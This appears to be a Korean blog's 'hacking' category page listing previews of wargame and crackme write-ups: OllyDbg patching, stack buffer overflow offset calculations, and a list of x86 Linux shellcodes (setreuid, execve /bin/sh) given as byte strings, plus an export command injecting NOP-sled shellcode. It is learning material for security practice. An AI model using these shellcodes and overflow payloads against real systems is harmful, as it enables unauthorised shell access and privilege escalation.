목록해킹 (27)
ii4gsp
올리디버거로 파일을 열어보았지만 파일이 열리지않는다. hxd에디터로 한번 열어보았다. 맨 처음부분 MZ 실행 파일 형식은 DOS에서 .EXE 실행 파일에 사용되는 파일 형식이다. PE파일이라는것을 알 수 있다. 분석을 하려고 밑에 내려보니 Yeah, you did it!.Crackme 라는 성공시 뜨는 문자와 JK3FJZh라는 패스워드로 유추할수있는 문자도 나와있다.
6byte 쉘코드 exit() 포함 \x31\xc0\xb0\x01\xcd\x80 16byte 쉘코드 setreuid(geteuid(),geteuid()) 코드 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 25byte 쉘코드 (제일 많이 쓰임) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 31byte 쉘코드 exit() 포함 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80..
힌트파일을 보니 i가 0x1234567이 아니라면 프로그램이 죽어버린다. 변수 i가 buf보다 먼저 선언되었으므로 i의 시작주소가 buf의 시작주소보다 높은 것을 알 수 있다. gdb로 attackme파일을 열고 disas main을 해주고 은 0x418byte만큼 빼주고 0x418은 10진수로 1048이다. buf가 1024byte이고 long i가 4byte이니 dummy는 20byte이다. 에서 fffffbe8을 2진수로 1011 1110 1000인데 1의 보수를 구해주면 0100 0001 0111인데 2의 보수를 해주면 + 1이 되기때문에 10진수로 1048이 된다 buf에서 ebp까지의 거리는 1048byte이다. ebp와 ret의 거리는 4byte차이기 때문에 buf에서 ret까지의 거리는 1..
힌트 파일을열어 보니 소스코드가 주어지는데 이전에 풀었던 level11과 strcpy()함수가 아닌 gets()함수로 바뀐것빼고는 유형이 같다. gdb로 attackme파일을 열어 disas main을 하고 부분에서 0xfffffef8은 2진수로 1110 1111 1000인데 1의 보수를 구하면 0001 0000 0111이되고 2의 보수를 구해주면 +1이 되기때문에 264가 된다. str에서 ebp까지의 거리는 264byte라는것을 알 수 있다. ret는 ebp의 4byte 아래에 위치함으로 268byte다. export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe..
힌트를 보니 소스코드만 던져주었다. 디버깅을 하기위해 cp attackme /tmp명령어로 tmp폴더로 attackme파일을 복사해주고 gdb로 attackme를 열고 disas main을 해주면 str은 256바이트를 할당해주었는데 8바이트 dummy가 추가로 붙은것을 알수있다. 10진수 256은 16진수 0x100이다 과 부분을 보면 0xfffffef8은 2진수로 1110 1111 1000인데 1의 보수를 구하면 0001 0000 0111이되고 2의 보수를 구해주면 +1이 되기때문에 264가 된다 ebp-264부터 입력값을 받는 것을 알 수 있다. ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53에 break point를 걸고 ret에 넣을 주소를 구해보려한다. 243by..
#include int sum(int a, int b) { int result = 0; result = a + b; return result; } int main(int argc, char *argv[]) { int x = 9; int y = 4; int result = sum(x, y); if (result > 10) printf("Good!! Result : %d\n", result); else printf("Bad.. Result : %d\n", result); } 예제 소스코드이다. 소스코드를 컴파일하여 실행해보면 이 소스코드는 else문이 출력되지 않는다. 실행파일을 올리디버거로 열어보겠다. 방법1 올리디버거로 열고 조금 밑에 내려가보면 main()함수가 보인다. CMP DWORD PTR SS:..
힌트를 보니 /usr/bin/bof의 소스코드를 보여주고 level10의 권한을 얻으라고 한다. fgets함수에서 버퍼 오버플로우 취약점이 발생한다. buf가 10칸 할당받았는데 fgets에서 40만큼 입력을받기때문에 buf공간이 넘쳐 buf2영역까지 인자를 전달하여 buf2의 첫 두글자가 go가 되게하면 쉘을 획득 할수있을것이다. hint의 소스코드를 /tmp 디렉토리에 bof.c라고 저장하였다. 저장된 bof.c를 vi 에디터로 열어 한글을 제거하였다. gcc로 컴파일해주고 gdb로 disas main 명령어를 실행해보니 0xffffffd8은 1101 1000에서 1의 보수를 해주면 0010 0111(39)이 되는데 2의 보수로인해 +1이 됨으로써 40이된다. [ebp-40] 만큼 문자열을 입력받는다..
HDD를 CD-Rom으로 인식시키기 위해 GetDriveTypeA의 리턴값을 알아야 하는것 같다. GetDriveTypeA의 리턴값을 몰라도 문제는 풀수있다. GetDriveTypeA함수의 리턴값을 알아보자 위의 표는 return값에 따른 drive의 type이다. HDD의 리턴값은 3이고 CD-Rom의 리턴값은 5이다. 첨부파일에 있는 프로그램을 실행시켜보면 오류가 발생하고 꺼지게 된다. 방법1 GetDriveTypeA함수의 리턴값을 알기 위해 GetDriveTypeA함수를 호출한 다음에 Break(F2)를 걸어 주었다. 레지스터의 값을 확인해보면 현재 EAX 값이 3이므로 HDD의 return value는 3이라는 것을 알 수 있다. break를 풀어주고 F8로 한줄씩 실행해보면 ESI레지스터는 IN..